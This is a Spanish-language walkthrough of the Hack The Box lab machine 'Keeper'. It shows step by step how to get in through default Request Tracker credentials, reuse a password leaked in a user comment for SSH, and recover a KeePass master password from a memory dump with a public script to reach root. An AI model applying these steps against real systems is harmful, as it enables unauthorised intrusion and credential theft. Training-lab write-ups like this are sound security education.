Walkthrough — Keeper (Hack The Box)
Recorrido completo y detallado de la máquina Keeper de Hack The Box, en la que se explota una configuración por defecto de Request Tracker, junto con una fuga de datos sensibles en archivos KeePass.
🔰 Introducción
Keeper es una máquina de dificultad fácil, que presenta una interesante cadena de vulnerabilidades: acceso inicial mediante credenciales por defecto en un sistema de tickets (Request Tracker), acceso a usuario por SSH, y posterior escalada a root mediante extracción de contraseñas desde un volcado de KeePass.
- Sistema operativo: Linux
- Dificultad: Easy
- Herramientas utilizadas:
nmap
,burpsuite
,scp
,keepassxc
,puttygen
,ssh
🔍 Escaneo de puertos con Nmap
Iniciamos el reconocimiento con un escaneo completo de puertos usando nmap
:
nmap -sC -sV -p- -T4 10.10.11.227
El resultado muestra dos puertos relevantes:
- 22/tcp: OpenSSH 8.9p1
- 80/tcp: nginx 1.18.0
🌐 Acceso al portal web
Al visitar http://10.10.11.227
, el navegador redirige automáticamente a http://tickets.keeper.htb
, lo cual nos revela que el sistema utiliza subdominios. El portal web pertenece a la aplicación Request Tracker (RT) y muestra un formulario de login.
🔑 Uso de credenciales por defecto
Basado en documentación de RT, probamos las siguientes credenciales:
- Usuario:
root
- Contraseña:
password
El acceso fue exitoso.
🧭 Navegación por el panel RT
Una vez dentro, se nos presenta el panel principal del sistema RT.
Desde la sección Admin → Users, encontramos un usuario adicional llamado lnorgaard
.
🧪 Descubrimiento de contraseña inicial
Editando el perfil del usuario lnorgaard
, encontramos el siguiente comentario:
Initial password set to Welcome2023!
📥 Acceso SSH como lnorgaard
Probamos por SSH con la contraseña obtenida:
ssh lnorgaard@10.10.11.227
¡Acceso exitoso! Dentro del sistema encontramos los archivos user.txt
y un archivo comprimido RT30000.zip
.
📤 Transferencia del archivo ZIP
Transferimos el archivo a nuestra máquina con scp
:
scp lnorgaard@10.10.11.227:/home/lnorgaard/RT30000.zip .
📦 Análisis del ZIP
El archivo contiene dos ficheros:
KeePassDumpFull.dmp
passcodes.kdbx
🧠 Extracción de clave con script
Usamos este script público:
https://github.com/matro7sh/keepass-dump-masterkey/blob/main/poc.py
python3 poc.py -d KeePassDumpFull.dmp
Resultado:
rødgrød med fløde
🔐 Abrimos KeePassXC
Con keepassxc
y la contraseña obtenida, abrimos el archivo .kdbx
:
keepassxc passcodes.kdbx
Dentro hallamos credenciales para el usuario root
y una clave privada .ppk
.
—
🔁 Conversión de clave a OpenSSH
Convertimos la clave con puttygen
:
puttygen id_rsa.ppk -O private-openssh -o id_rsa
chmod 600 id_rsa
🚪 Acceso final como root
Con la clave convertida, accedemos por SSH:
ssh -i id_rsa root@10.10.11.227
🏁 Flag final
Leemos la flag de root:
cat /root/root.txt
📊 Resumen
Etapa | Resultado |
---|---|
Enumeración | RT accesible con credenciales por defecto |
Explotación | Usuario con contraseña inicial en comentarios |
Escalada I | SSH como lnorgaard |
Escalada II | Dump de KeePass → acceso root con clave SSH |
Flags | user.txt y root.txt |
Autor: gueco99
🧠 Hack The Box – Keeper (Easy)